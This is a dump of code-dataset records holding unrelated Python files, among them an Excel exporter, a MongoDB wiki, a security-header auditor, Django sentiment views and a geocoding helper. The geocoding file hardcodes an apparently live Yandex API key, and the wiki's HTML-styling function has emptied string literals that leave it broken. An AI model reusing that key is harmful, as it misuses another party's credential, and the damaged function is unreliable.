lv_pathway_df.rename(\n columns={\"LV index\": \"LV identifier\", \"pathway\": \"Pathway\"}\n)\n\n# %% tags=[]\nlv_pathway_df.head()\n\n# %% tags=[]\nlv_pathway_df.tail()\n\n# %% [markdown] tags=[]\n# ## Save\n\n# %% tags=[]\noutput_file = OUTPUT_DIR / \"lv-pathways.xlsx\"\ndisplay(output_file)\n\n# %% tags=[]\nlv_pathway_df.to_excel(output_file, index=False)\n\n# %% tags=[]\n# adjust column widths\nwb = openpyxl.load_workbook(filename=output_file)\nworksheet = wb.active\n\nfor col in worksheet.columns:\n max_length = 0\n column = get_column_letter(col[0].column) # Get the column name\n for cell in col:\n if cell.coordinate in worksheet.merged_cells: # not check merge_cells\n continue\n\n try: # Necessary to avoid error on empty cells\n if len(str(cell.value)) > max_length:\n max_length = len(str(cell.value))\n except:\n pass\n adjusted_width = (max_length + 2) * 1.05\n worksheet.column_dimensions[column].width = adjusted_width\n\nwb.save(output_file)\n\n# %% [markdown] tags=[]\n# # Create LV-gene dataframe\n\n# %% tags=[]\ndf = (\n multiplier_z.unstack()\n .to_frame()\n .reset_index()\n .rename(columns={0: \"Weight\", \"level_0\": \"LV identifier\", \"level_1\": \"Gene symbol\"})\n)\n\n# %% tags=[]\ndf = df.assign(lv_index=df[\"LV identifier\"].apply(lambda x: int(x[2:])))\n\n# %% tags=[]\ndf = df.sort_values([\"lv_index\", \"Weight\"], ascending=[True, False]).drop(\n columns=[\"lv_index\"]\n)\n\n# %% tags=[]\ndf.shape\n\n# %% tags=[]\ndf.head()\n\n# %% tags=[]\ndf.tail()\n\n# %% [markdown] tags=[]\n# ## Save as TSV\n\n# %% tags=[]\n# output_file = OUTPUT_DIR / \"lv-gene_weights.tsv.gz\"\n# display(output_file)\n\n# %% tags=[]\n# df.to_csv(output_file, sep=\"\\t\", index=False)\n\n# %% [markdown] tags=[]\n# ## Save as Excel\n\n# %% tags=[]\noutput_file = OUTPUT_DIR / \"lv-gene_weights.xlsx\"\ndisplay(output_file)\n\n# %% tags=[]\nwith pd.ExcelWriter(output_file) as writer:\n for lv_id in df[\"LV identifier\"].unique():\n print(lv_id, end=\", \", flush=True)\n\n lv_data = df[df[\"LV identifier\"] == lv_id].drop(columns=[\"LV identifier\"])\n lv_data = lv_data.sort_values(\"Weight\", ascending=False)\n\n lv_data.to_excel(writer, index=False, sheet_name=lv_id)\n\n# %% tags=[]\n# adjust column widths\nwb = openpyxl.load_workbook(filename=output_file)\n\nfor worksheet in wb.worksheets:\n for col in worksheet.columns:\n max_length = 0\n column = get_column_letter(col[0].column) # Get the column name\n for cell in col:\n if cell.coordinate in worksheet.merged_cells: # not check merge_cells\n continue\n\n try: # Necessary to avoid error on empty cells\n if len(str(cell.value)) > max_length:\n max_length = len(str(cell.value))\n except:\n pass\n adjusted_width = (max_length + 2) * 1.05\n worksheet.column_dimensions[column].width = adjusted_width\n\nwb.save(output_file)\n\n# %% tags=[]\n","sub_path":"nbs/99_manuscript/lvs/py/05-export_lv_gene_dataframe.py","file_name":"05-export_lv_gene_dataframe.py","file_ext":"py","file_size_in_byte":5355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"323866137","text":"#! /usr/bin/python3\n\n###! Importing modules\n##? import moduleName\nimport random\n\n##? using function from module\n#? moduleName.function()\nrandom.randrange(1, 10)\n\n##? making name of module shorter\n#? import moduleName as shortName\nimport random as r\nr.randrange(1, 10)\n\n##? importing functions from the module\n#? from moduleName import name1, name2, nameN..\nfrom random import randrange, randint\n# *To use this function you dont need to write the dot notation, just write function()\nrandint(2, 32)\n\n\n\n###! Defining functions\ndef checkIfPrime(numberToCheck):\n for x in range(2, numberToCheck):\n if numberToCheck % x == 0:\n return False\n return True\n\nanswer = checkIfPrime(13)\nprint(answer)\nprint(\"\")\n\n\n\n###! Python lambda\n##? A lambda function is a small anonymous function and it have only one expression\n##* lambda arguments : expression\n\nx = lambda a : a + 10\nprint(x(23)) # OUTPUT: 33\n\nx = lambda a, b : a * b\nprint(x(5, 6)) # OUTPUT: 30\nprint(\"\")\n\n\n\n###! Python randint()\n\n##? First you need to import random module\nimport random\n\n##? then you can generate random integers -> random.randint(min value, max value)\nrandomInt = random.randint(1, 23)\nprint(randomInt)\n\n##? you can generate random float value using -> random.random() (it does not require max or min value)\nrandomFloat = random.random();\nprint(randomFloat)\n","sub_path":"modules/importing_modules_defining_functions_lambda_randint()_rand().py","file_name":"importing_modules_defining_functions_lambda_randint()_rand().py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"186068365","text":"import markdown2\nimport re\nimport pymongo\nimport datetime\n\n\nclass SinWiki:\n\n def __init__(self, location: str = 'localhost', port: int = 27017):\n \"\"\"\n Wiki DB Shape:\n {\n \"title\": wiki_title,\n \"data\": wiki_data,\n \"author\": [(date, username)],\n \"html\": md2html(wiki_data),\n \"back_up\": [\n (date, username, markdown_data),\n ]\n }\n \"\"\"\n self.client = pymongo.MongoClient(location, port)\n self.db = self.client.OriginalSinServer\n self.wikiData = self.db.WikiData\n self.wikiTags = self.db.WikiTags\n\n def tag_finder(self, tag: str) -> dict:\n \"\"\"\n tag structure\n {\n tag: tag_name\n content:\n [\n self.get_data(wiki_title),\n self.get_data(wiki_title),\n self.get_data(wiki_title),\n ...\n ]\n }\n \"\"\"\n return self.wikiTags.find_one({\"tag\": tag})\n\n def tag_insert(self, tag: str, title: str=None):\n if self.tag_finder(tag):\n return False\n content = []\n if title:\n content.append(title)\n tag_data = dict(\n tag=tag,\n content=content,\n )\n self.wikiTags.insert(tag_data)\n return True\n\n def tag_content_find(self, title: str):\n return list(self.wikiTags.find({\"content\": [title]}))\n\n def tag_update(self, data: dict):\n if self.tag_finder(data[\"tag\"]):\n self.wikiTags.update({\"_id\": data[\"_id\"]}, data)\n\n def tag_remove(self, tag):\n self.wikiTags.remove({\"tag\": tag})\n\n def insert_db(self, title, data, author=\"UNKNOWN\"):\n _wiki_data = self.wikiData.find_one({\"title\": title})\n _current_time = str(datetime.datetime.now())\n if _wiki_data:\n _wiki_data[\"title\"] = title\n _wiki_data[\"data\"] = data\n _wiki_data[\"author\"] = (_current_time, author)\n _wiki_data[\"html\"] = self.md2html(data)\n if _wiki_data[\"back_up\"]:\n _wiki_data[\"back_up\"] = _wiki_data[\"back_up\"].append((_current_time, author, data))\n else:\n _wiki_data[\"back_up\"] = [(_current_time, author, data)]\n self.wikiData.update({\"_id\": _wiki_data[\"_id\"]}, _wiki_data)\n else:\n new_data = {\n \"title\": title,\n \"data\": data,\n \"author\": (_current_time, author),\n \"html\": self.md2html(data),\n \"back_up\": [(_current_time, author, data)]\n }\n self.wikiData.insert(new_data)\n\n # TAG GENERATOR\n tags = list(set(re.findall(r\"@([^ ]+)\", data.split('\\n')[-1])))\n if not tags:\n tags = [\"잡담\"]\n\n for r in self.tag_content_find(title):\n r[\"content\"].remove(title)\n if r[\"content\"]:\n self.tag_update(r)\n else:\n self.tag_remove(r[\"tag\"])\n\n for r in tags:\n if not self.tag_finder(r):\n self.tag_insert(r, title)\n else:\n data = self.tag_finder(r)\n data[\"content\"].append(title)\n data[\"content\"] = list(set(data[\"content\"]))\n self.tag_update(data)\n # TAG GENERATOR\n\n def get_data(self, title: str):\n value = self.wikiData.find_one({\"title\": title})\n return value if value else False\n\n def get_wiki_list(self):\n return list(self.wikiData.find({}).sort(\"title\", 1))\n\n @staticmethod\n def md2html(data: str):\n _out = []\n _before = []\n\n def styler(text_line: str):\n nonlocal _before, _out\n style_tuple = [\n # (regex, style, offset)\n (\"\", \"\", -1),\n (\"

\", \"\", -1)\n ]\n _temp_before = []\n for regex, style, offset in style_tuple:\n\n _ = re.search(regex, text_line)\n if _:\n if regex == \"\" in _before:\n if text_line[_.end()] == \"틀\":\n syntax_check = re.search(\"html=[\\'\\\"](.+)[\\'\\\"] body=[\\'\\\"](.+)[\\'\\\"]\",\n text_line[_.end():])\n if syntax_check:\n _out[-1] = \"

\".format(syntax_check.group(1))\n text_line = syntax_check.group(2)\n else:\n text_line = text_line[:_.end() + offset] + style + text_line[_.end() + offset:]\n\n _temp_before.append(regex)\n\n _before = _temp_before\n return text_line\n\n for r in markdown2.markdown(data, extras=[\"tables\", \"footnotes\", \"fenced-code-blocks\"]).split(\"\\n\"):\n _out.append(styler(r) + \"\\n\")\n return \"\".join(_out)\n","sub_path":"ServerFunction/Wikia.py","file_name":"Wikia.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"380788224","text":"import numpy as np\nfrom Kinematic.forward import initialize_frames, initialize_frames_jac\nfrom Kinematic.frames import fill_frames_trans_add\nfrom Kinematic.Robots import Robot\n\n\nclass SingleSphere(Robot):\n def __init__(self, n_dim, radius=0.3):\n self.id = f'SingleSphere0{n_dim}'\n self.n_dim = n_dim\n self.n_dof = self.n_dim\n\n self.f_world_robot = None\n self.infinity_joints = np.zeros(self.n_dof, dtype=bool)\n self.limits = None\n\n self.spheres_position = np.zeros((1, self.n_dim + 1))\n self.spheres_position[:, -1] = 1\n self.spheres_radius = np.full(1, fill_value=radius)\n self.spheres_frame_idx = np.zeros(1, dtype=int)\n\n self.n_frames = 1\n # self.next_frame_idx = np.array([-1])\n # self.prev_frame_idx = np.array([-1])\n # self.joint_frame_idx = np.zeros((0,))\n # self.joint_frame_influence = np.ones((0, 1))\n\n def get_frames(self, q):\n f = initialize_frames(shape=q.shape[:-1], robot=self, mode='eye')\n fill_frames_trans_add(f=f, trans=q[..., np.newaxis, :])\n return f\n\n def get_frames_jac(self, q):\n f, j = initialize_frames_jac(shape=q.shape[:-1], robot=self, mode='eye')\n fill_frames_trans_add(f=f, trans=q[..., np.newaxis, :])\n fill_frames_jac__dx(j=j, n_dim=self.n_dim)\n return f, j\n\n\nclass SingleSphere02(SingleSphere):\n def __init__(self, radius):\n super().__init__(n_dim=2, radius=radius)\n\n\nclass SingleSphere03(SingleSphere):\n def __init__(self, radius):\n super().__init__(n_dim=3, radius=radius)\n\n\ndef fill_frames_jac__dx(j, n_dim):\n \"\"\"\n Assume that the dof xy(z) are the first 2(3)\n \"\"\"\n for i in range(n_dim):\n j[:, :, i, :, i, -1] = 1","sub_path":"Kinematic/Robots/SingleSphere.py","file_name":"SingleSphere.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"613108567","text":"import threading\r\nimport urllib.request\r\nimport queue\r\nfrom hdownloader import HitomiDownloader\r\n\r\nuser_id = \"your twitter id\" # who receive auto DM\r\n\r\n\r\n# Command Reader Class\r\n# Read Command & Start Task\r\n# Extends Thread to continue listening DM\r\nclass CmdReader(threading.Thread):\r\n def __init__(self, data_queue, api):\r\n threading.Thread.__init__(self)\r\n self.data_queue = data_queue\r\n self.api = api # api for send status\r\n\r\n def run(self):\r\n api = self.api\r\n data = self.data_queue.get() # Get Queue\r\n self.data_queue.task_done()\r\n\r\n cmd_list = data.split(\" \") # Split cmd string by space\r\n\r\n if cmd_list[0] == \"hitomi\":\r\n if len(cmd_list) == 1: # One word\r\n api.send_direct_message(user=user_id, text=\"Command Error\")\r\n\r\n elif len(cmd_list) == 2: # Two words : hitomi + gall_id\r\n try:\r\n # Link Test\r\n url = \"http://hitomi.la/galleries/\" + cmd_list[1] + \".html\"\r\n response = urllib.request.urlopen(url)\r\n\r\n # Valid link\r\n api.send_direct_message(user=user_id, text=\"Download Start [Gallery id : \" + cmd_list[1] + \"]\")\r\n print(\"Download Start [Gallery id : \" + cmd_list[1] + \"]\")\r\n hitomidownloader = HitomiDownloader(cmd_list[1])\r\n\r\n try:\r\n hitomidownloader.downloadBook() # Download Files\r\n\r\n except BaseException as e:\r\n print(\"System Error\", str(e))\r\n api.send_direct_message(user=user_id, text=\"System Error\")\r\n\r\n del hitomidownloader # Delete Object\r\n\r\n api.send_direct_message(user=user_id, text=\"Download Complete [Gallery id : \" + cmd_list[1] + \"]\")\r\n print(\"Download Complete [Gallery id : \" + cmd_list[1] + \"]\")\r\n\r\n except BaseException as e: # Invalid link\r\n api.send_direct_message(user=user_id, text=\"HTTP Error[404, 403...]\")\r\n print(\"HTTP Error[404, 403...]\", str(e))\r\n\r\n elif cmd_list[0] != \"hitomi\":\r\n api.send_direct_message(user=user_id, text=\"Command Error\")\r\n print(\"Command Error\")\r\n","sub_path":"cmdreader.py","file_name":"cmdreader.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"423419668","text":"from django.shortcuts import render, redirect\r\nfrom .core.ml import *\r\nfrom .core.twitter import *\r\n\r\nimport json\r\n# Create your views here.\r\n\r\n\r\ndef classifiers(request):\r\n models = load_models('models')\r\n for x in models:\r\n del x[1]['model']\r\n return render(request, 'classifiers.html',{'models': models})\r\n\r\ndef delete_classifier(request):\r\n delete(request.GET.get('id'))\r\n return redirect('/classifiers')\r\n\r\ndef add_classifier(request):\r\n params = [\r\n 'classifier' ,\r\n 'ds_path' ,\r\n 'clean_data' ,\r\n 'min_df' ,\r\n 'data_size' ,\r\n 'train_size' ,\r\n 'tfidf' ,\r\n 'text_column' ,\r\n 'category_column' ,\r\n 'encoding' ,\r\n 'header' ,\r\n 'index_col' ,\r\n 'toarray' ,\r\n 'max_features'\r\n ]\r\n create_from_params(\r\n **{x: request.GET.get(x) for x in params}\r\n )\r\n return redirect('/classifiers')\r\n\r\n\r\ndef tweets(request):\r\n tag = request.GET.get('tag', 'bitcoin')\r\n tweets = get_last_tweets(tag, auth())\r\n result,sents = predict_all(tweets)\r\n\r\n return render(request, 'tweets.html',\r\n {\r\n 'result': result ,\r\n 'labels': json.dumps([i for i in range(1,len(result)+1)]) ,\r\n 'data' : [json.dumps([int(result[j][1][i][1][0])+1 for j in range(len(result))]) for i in range(len(result[0][1]))],\r\n 'avgs' : [\r\n json.dumps([x[2][0] for x in result]),\r\n json.dumps([x[2][4] for x in result])],\r\n 'sents' : json.dumps(sents)\r\n })\r\n\r\n\r\ndef compare(request):\r\n tags = request.GET.get('tag', 'bitcoin, eth, tesla')\r\n tags = [x.strip() for x in tags.split(',')][:3]\r\n alphs = ['A','B','C']\r\n resp = {}\r\n\r\n for tag in tags:\r\n i = tags.index(tag)\r\n tweets = get_last_tweets(tag, auth())\r\n result,sents = predict_all(tweets)\r\n \r\n resp ['tag'+alphs[i]] = tag\r\n resp ['result'+alphs[i]] = result\r\n resp ['labels'+alphs[i]] = json.dumps([i for i in range(1,len(result)+1)])\r\n resp ['data'+alphs[i]] = [json.dumps([int(result[j][1][i][1][0])+1 for j in range(len(result))]) for i in range(len(result[0][1]))]\r\n resp ['avgs'+alphs[i]] = [\r\n json.dumps([x[2][0] for x in result]),\r\n json.dumps([x[2][4] for x in result])]\r\n resp ['sents'+alphs[i]] = json.dumps(sents)\r\n\r\n return render(request, 'compare.html', resp)\r\n","sub_path":"tweetsent/sentiment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"618205702","text":"import os\nimport re\nimport glob\nimport pdb\n\nfile_lists = []\nfile_extensions = ['emmx', 'docx', 'doc', 'md', 'odt', 'tex', 'bib', 'pdf']\n\ncollect_path = os.path.join('.', 'non_classified')\n\ndef find_subfloders(path, is_record):\n\tsub_dict = {}\n\tfor root, subfolders, files in os.walk(path):\n\t\tif root == path:\n\t\t\tfor subfolder in subfolders:\n\t\t\t\tresult = re.match(r'(\\d+)(.*)', subfolder)\n\t\t\t\tif result:\n\t\t\t\t\tsub_dict[result.group(1)] = os.path.join(root, subfolder)\n\t\telse:\n\t\t\tbreak\n\treturn sub_dict\n\t\t\t\t\ndef move_files(num1, num2, folder_path):\n\tfind_replace_str = re.match(r'(.*?)\\d+(.*?)\\d+(.*?)', folder_path)\n\treplace_str = find_replace_str.group(3)\n\tfor root, _, files in os.walk(collect_path):\n\t\tfor file in files:\n\t\t\tif re.match(str(num1)+\"[.]\" + str(num2) +\"[.]\" + \".*\", file):\n\t\t\t\twith open(os.path.join(folder_path, file.replace(replace_str, '')), 'wb') as new_file:\n\t\t\t\t\twith open(os.path.join(collect_path, file), 'rb') as old_file:\n\t\t\t\t\t\tnew_file.write(old_file.read())\n\t\t\t\tprint(os.path.join(collect_path, file))\n\t\t\t\tif not file.endswith('.tex'):\n\t\t\t\t\tos.remove(os.path.join(collect_path, file))\n\ndef update_record():\n\tfor root, _, files in os.walk('.'):\n\t\tfor file in files:\n\t\t\tif file.split('.')[-1] in file_extensions:\n\t\t\t\tfile_lists.append(os.path.join(root, file))\n\treturn file_lists\n\ndef find_and_move_record_files():\n\tindex_dict = find_subfloders('.', 0)\n\tfor num in index_dict:\n\t\tsub_dict = find_subfloders(index_dict[num], 1)\n\t\tfor sub_num in sub_dict:\n\t\t\t# print(sub_dict[sub_num])\n\t\t\tmove_files(num, sub_num, sub_dict[sub_num])\n\tfile_lists = update_record()\n\twith open(os.path.join('.', 'record.txt'), 'w') as record_file:\n\t\tfor file_list in file_lists:\n\t\t\trecord_file.write(file_list+'\\n')\n\ndef clear_tex_generated_pdf():\n\tfor file in glob.glob(os.path.join(collect_path, 'texput.log')):\n\t\tos.remove(file)\n\tfind_tex_files = glob.glob(os.path.join(collect_path, '*.tex'))\n\tfor find_tex_file in find_tex_files:\n\t\tfind_path = find_tex_file[:find_tex_file.find('.tex')] + '*'\n\t\tfind_all_same_name_file = glob.glob(find_path)\n\t\tfor file in find_all_same_name_file:\n\t\t\tif file.endswith('.gz'):\n\t\t\t\tos.remove(file)\n\t\t\tif (not (file.endswith('.tex') or file.endswith('.bib'))) and (\n\t\t\t\t\tfile[:file.rfind('.')] == find_tex_file[:find_tex_file.find('.tex')]):\n\t\t\t\t# print(file)\n\t\t\t\t# print(find_tex_file)\n\t\t\t\tos.remove(file)\n\ndef main():\n\tclear_tex_generated_pdf()\n\tfind_and_move_record_files()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"auto_classify.py","file_name":"auto_classify.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"108502663","text":"import json\n\nimport requests\nimport validators\nfrom requests.structures import CaseInsensitiveDict\n\nfrom drheader.utils import load_rules, _to_dict\n\n\nclass Drheader:\n \"\"\"\n Core functionality for DrHeader. This is where the magic happens\n \"\"\"\n error_types = {\n 1: 'Header not included in response',\n 2: 'Header should not be returned',\n 3: 'Value does not match security policy',\n 4: 'Must-Contain directive missed',\n 5: 'Must-Avoid directive included',\n 6: 'Must-Contain-One directive missed',\n 7: 'Directive not included in response',\n 8: 'Directive should not be returned'\n }\n\n def __init__(\n self,\n url=None,\n method=\"GET\",\n headers=None,\n status_code=None,\n params=None,\n request_headers=None,\n verify=True\n ):\n \"\"\"\n NOTE: at least one param required.\n\n :param url: (optional) URL of target\n :type url: str\n :param method: (optional) Method to use when doing the request\n :type method: str\n :param headers: (optional) Override headers\n :type headers: dict\n :param status_code: Override status code\n :type status_code: int\n :param params: Request params\n :type params: dict\n :param request_headers: Request headers\n :type request_headers: dict\n :param verify: Verify the server's TLS certificate\n :type verify: bool or str\n \"\"\"\n if request_headers is None:\n request_headers = {}\n if isinstance(headers, str):\n headers = json.loads(headers)\n elif url and not headers:\n headers, status_code = self._get_headers(url, method, params, request_headers, verify)\n\n self.status_code = status_code\n self.headers = CaseInsensitiveDict(headers)\n self.anomalies = []\n self.url = url\n self.delimiter = ';'\n self.report = []\n\n @staticmethod\n def _get_headers(url, method, params, request_headers, verify):\n \"\"\"\n Get headers for specified url.\n\n :param url: URL of target\n :type url: str\n :param method: (optional) Method to use when doing the request\n :type method: str\n :param params: Request params\n :type params: dict\n :param request_headers: Request headers\n :type request_headers: dict\n :param verify: Verify the server's TLS certificate\n :type verify: bool or str\n :return: headers, status_code\n :rtype: dict, int\n \"\"\"\n\n if validators.url(url):\n req_obj = getattr(requests, method.lower())\n r = req_obj(url, data=params, headers=request_headers, verify=verify)\n\n headers = r.headers\n if len(r.raw.headers.getlist('Set-Cookie')) > 0:\n headers['set-cookie'] = r.raw.headers.getlist('Set-Cookie')\n return headers, r.status_code\n\n def analyze(self, rules=None):\n \"\"\"\n Analyze the currently loaded headers against provided rules.\n\n :param rules: Override rules to compare headers against\n :type rules: dict\n :return: Audit report\n :rtype: list\n \"\"\"\n\n for header, value in self.headers.items():\n if type(value) == str:\n self.headers[header] = value.lower()\n if type(value) == list:\n value = [item.lower() for item in value]\n self.headers[header] = value\n\n if not rules:\n rules = load_rules()\n for rule, config in rules.items():\n self.__validate_rules(config, header=rule)\n if 'Directives' in config and rule in self.headers:\n for directive, d_config in config['Directives'].items():\n self.__validate_rules(d_config, header=rule, directive=directive)\n return self.report\n\n def __validate_rule_and_value(self, expected_value, header, directive):\n \"\"\"\n Verify headers content matches provided config.\n\n :param expected_value: Expected value of header.\n :param header: Name of header\n :param directive: Name of directive (optional)\n :return:\n \"\"\"\n expected_value_list = [str(item).lower() for item in expected_value]\n if len(expected_value_list) == 1:\n expected_value_list = [item.strip(' ') for item in expected_value_list[0].split(self.delimiter)]\n\n if directive:\n rule = directive\n headers = _to_dict(self.headers[header], ';', ' ')\n else:\n rule = header\n headers = self.headers\n\n if rule not in headers:\n self.__add_report_item(\n severity='high',\n error_type=7 if directive else 1,\n header=header,\n directive=directive,\n expected=expected_value_list)\n else:\n rule_list = [item.strip(' ') for item in headers[rule].split(self.delimiter)]\n if not all(elem in expected_value_list for elem in rule_list):\n self.__add_report_item(\n severity='high',\n error_type=3,\n header=header,\n directive=directive,\n expected=expected_value_list,\n value=headers[rule])\n\n def __validate_not_exists(self, header, directive):\n \"\"\"\n Verify specified rule does not exist in loaded headers.\n\n :param header: Name of header\n :param directive: Name of directive (optional)\n \"\"\"\n\n if directive:\n rule = directive\n headers = _to_dict(self.headers[header], ';', ' ')\n else:\n rule = header\n headers = self.headers\n\n if rule in headers:\n self.__add_report_item(\n severity='high',\n error_type=8 if directive else 2,\n header=header,\n directive=directive)\n\n def __validate_exists(self, header, directive):\n \"\"\"\n Verify specified rule exists in loaded headers.\n\n :param header: Name of header\n :param directive: Name of directive (optional)\n \"\"\"\n if directive:\n rule = directive\n headers = _to_dict(self.headers[header], ';', ' ')\n else:\n rule = header\n headers = self.headers\n\n if rule not in headers:\n self.__add_report_item(\n severity='high',\n error_type=7 if directive else 1,\n header=header,\n directive=directive)\n\n return rule in headers # Return value to prevent subsequent avoid/contain checks if the header is not present\n\n def __validate_must_avoid(self, config, header, directive):\n \"\"\"\n Verify specified values do not exist in loaded headers.\n\n :param config: Configuration rule-set to use\n :param header: Name of header\n :param directive: Name of directive (optional)\n \"\"\"\n if directive:\n rule = directive\n header_value = _to_dict(self.headers[header], ';', ' ')[rule]\n else:\n rule = header\n header_value = self.headers[rule]\n\n config['Must-Avoid'] = [item.lower() for item in config['Must-Avoid']]\n\n for avoid_value in config['Must-Avoid']:\n if avoid_value in header_value and rule not in self.anomalies:\n if rule.lower() == 'content-security-policy':\n policy = _to_dict(self.headers[header], ';', ' ')\n non_compliant_values = [item for item in list(policy.values()) if avoid_value in item]\n indices = [list(policy.values()).index(item) for item in non_compliant_values]\n for index in indices:\n self.__add_report_item(\n severity='medium',\n error_type=5,\n header=header,\n directive=list(policy.keys())[index],\n avoid=config['Must-Avoid'],\n value=avoid_value)\n else:\n self.__add_report_item(\n severity='medium',\n error_type=5,\n header=header,\n directive=directive,\n avoid=config['Must-Avoid'],\n value=avoid_value)\n\n def __validate_must_contain(self, config, header, directive):\n \"\"\"\n Verify the provided header contains certain params.\n\n :param config: Configuration rule-set to use\n :param header: Name of header\n :param directive: Name of directive (optional)\n \"\"\"\n if directive:\n rule = directive\n header_value = _to_dict(self.headers[header], ';', ' ')[rule]\n else:\n rule = header\n header_value = self.headers[rule]\n\n if 'Must-Contain-One' in config:\n config['Must-Contain-One'] = [item.lower() for item in config['Must-Contain-One']]\n contain_values = header_value.split(' ') if directive else header_value.split(self.delimiter)\n does_contain = False\n\n for contain_value in contain_values:\n contain_value = contain_value.lstrip()\n if contain_value in config['Must-Contain-One']:\n does_contain = True\n break\n if not does_contain:\n self.__add_report_item(\n severity='high',\n error_type=6,\n header=header,\n directive=directive,\n expected=config['Must-Contain-One'],\n value=config['Must-Contain-One'])\n\n elif 'Must-Contain' in config:\n config['Must-Contain'] = [item.lower() for item in config['Must-Contain']]\n if header.lower() == 'set-cookie':\n for cookie in self.headers[header]:\n for contain_value in config['Must-Contain']:\n if contain_value not in cookie:\n self.__add_report_item(\n severity='high' if contain_value == 'secure' else 'medium',\n error_type=4,\n header=header,\n expected=config['Must-Contain'],\n value=contain_value,\n cookie=cookie)\n else:\n for contain_value in config['Must-Contain']:\n if contain_value not in header_value and rule not in self.anomalies:\n self.__add_report_item(\n severity='medium',\n error_type=4,\n header=header,\n directive=directive,\n expected=config['Must-Contain'],\n value=contain_value)\n\n def __validate_rules(self, config, header, directive=None):\n \"\"\"\n Entry point for validation.\n\n :param config: Configuration rule-set to use\n :param header: Name of header\n :param directive: Name of directive (optional)\n \"\"\"\n try:\n self.delimiter = config['Delimiter']\n except KeyError:\n self.delimiter = ';'\n\n if config['Required'] is True or (config['Required'] == 'Optional' and header in self.headers):\n if config['Enforce']:\n self.__validate_rule_and_value(config['Value'], header, directive)\n else:\n exists = self.__validate_exists(header, directive)\n if exists:\n if 'Must-Contain-One' in config or 'Must-Contain' in config:\n self.__validate_must_contain(config, header, directive)\n if 'Must-Avoid' in config:\n self.__validate_must_avoid(config, header, directive)\n elif config['Required'] is False:\n self.__validate_not_exists(header, directive)\n\n def __add_report_item(self, severity, error_type, header, directive=None, expected=None, avoid=None, value='',\n cookie=''):\n \"\"\"\n Add a entry to report.\n\n :param severity: [low, medium, high]\n :type severity: str\n :param error_type: [1...6] related to error_types\n :type error_type: int\n :param expected: Expected value of header\n :param avoid: Avoid value of header\n :param value: Current value of header\n :param cookie: Value of cookie (if applicable)\n \"\"\"\n if directive:\n error = {'rule': header + ' - ' + directive, 'severity': severity, 'message': self.error_types[error_type]}\n else:\n error = {'rule': header, 'severity': severity, 'message': self.error_types[error_type]}\n\n if expected:\n error['expected'] = expected\n error['delimiter'] = self.delimiter\n if avoid:\n error['avoid'] = avoid\n error['delimiter'] = self.delimiter\n\n if error_type == 3:\n error['value'] = value\n elif error_type in (4, 5, 6):\n if header.lower() == 'set-cookie':\n error['value'] = cookie\n else:\n if directive:\n error['value'] = _to_dict(self.headers[header], ';', ' ')[directive].strip('\\'')\n else:\n error['value'] = self.headers[header]\n error['anomaly'] = value\n self.report.append(error)\n","sub_path":"drheader/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":13788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"51056056","text":"from math import radians, cos, sin, asin, sqrt\nfrom yandex_geocoder import Client\nfrom typing import Optional, AnyStr\n\n\ndef distance_between_two_points(first_coordinates: tuple, second_coordinates: tuple) -> tuple:\n \"\"\"\n Calculate the great circle distance between two pints\n on the Earth (specified in decimal degrees)\n :param first_coordinates: Coordinates (latitude, longitude) of first point\n :param second_coordinates: Coordinates (latitude, longitude) of second point\n :return: distance\n \"\"\"\n lat1, lon1 = first_coordinates\n lat2, lon2 = second_coordinates\n # Convert decimal degrees to radians\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n # Haversina formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2\n c = 2 * asin(sqrt(a))\n # Radius of Earth in kilometers is 6731\n km = 6371 * c\n # If distance in kilometres, round the value\n if km >= 1:\n return round(km, 1), 'km'\n else:\n # If distance is smaller than 1, return metres value\n metres = km * 1000\n return round(metres), 'm'\n\n\ndef get_address_by_coordinates(coordinates: tuple) -> Optional[AnyStr]:\n \"\"\"\n Return address string value by coordinates\n :param coordinates: Coordinates (latitude, longitude)\n :return: string value\n \"\"\"\n client = Client('4d16304f-12ba-4134-ac9b-f0da5028a1f4')\n latitude = coordinates[0]\n longitude = coordinates[1]\n location = client.address(longitude, latitude)\n return location\n","sub_path":"application/utils/geocode.py","file_name":"geocode.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"647522439","text":"import operator\nimport numpy as np\nimport pandas as pd\nfrom collections import defaultdict\n\n\n# Handles categorical variables\nclass ProcessCategoricalList(object):\n def __init__(self):\n self.unique_vals = dict()\n\n # Turns the categorical variables into one-hot vectors. For example,\n # if the following values are in the column: ['one', 'two'], this\n # will add two columns: ['is_col_one', 'is_col_two']\n def transform_data(self, data, cols, args=None):\n # Pull out the max features\n max_features = 1000\n for col in cols:\n # Set them to sets for easier lookup\n data[col] = data[col].map(lambda x: set(eval(x)) if isinstance(x, str) else x)\n # Get all the unique values in the list\n if col not in self.unique_vals:\n uvals = defaultdict(int)\n for i, row in data.iterrows():\n # Update the defaultdict\n for item in row[col]:\n uvals[item] += 1\n # Sort the dict by the values\n uvals = sorted(uvals.items(), key=operator.itemgetter(1), reverse=True)\n self.unique_vals[col] = [uvals[i] for i in range(max_features)]\n # Loop through all unique values in the column\n vals = self.unique_vals[col]\n for v in vals:\n data['is_'+col+'_'+str(v)] = data[col].map(lambda x: 1 if v in x and isinstance(x, set) else 0)\n return 